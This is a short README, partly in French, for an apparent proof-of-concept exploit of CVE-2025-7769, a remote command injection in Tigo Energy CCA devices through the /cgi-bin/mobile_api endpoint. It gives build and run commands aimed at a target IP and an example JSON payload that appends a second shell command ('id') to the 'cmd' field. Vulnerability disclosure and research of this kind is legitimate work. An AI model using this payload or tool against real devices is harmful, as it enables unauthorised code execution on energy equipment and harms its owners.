CVE-2025-7769 – Injection de commande à distance dans mobile_api

Description :

Ce dépôt contient une preuve de concept (PoC) d'exploitation pour CVE‑2025‑7769, une vulnérabilité critique d'injection de commande à distance trouvée dans les appareils Tigo Energy CCA exposant le point d'accès /cgi-bin/mobile_api.

La vulnérabilité est déclenchée par l'injection de commandes système via la clé JSON cmd, où l'entrée non filtrée est concaténée directement dans un appel système, permettant une exécution complète de code à distance (RCE) sur l'appareil.

Références :

• Entrée NVD : https://nvd.nist.gov/vuln/detail/CVE-2025-7769

Utilisation :

gcc exploit.c argparse.c -o CVE-2025-7769 -lcurl
./CVE-2025-7769 -i 10.0.2.15 -p 80 -v
Replace 10.0.2.15 with the target IP.

Use -u http://target.com if you want to pass a full base URL instead of IP/port.

Example Payload :

{
  "cmd": "DEVICE_PING;id",
  "dev": 2,
  "ver": 1
}

Licence :

Licence MIT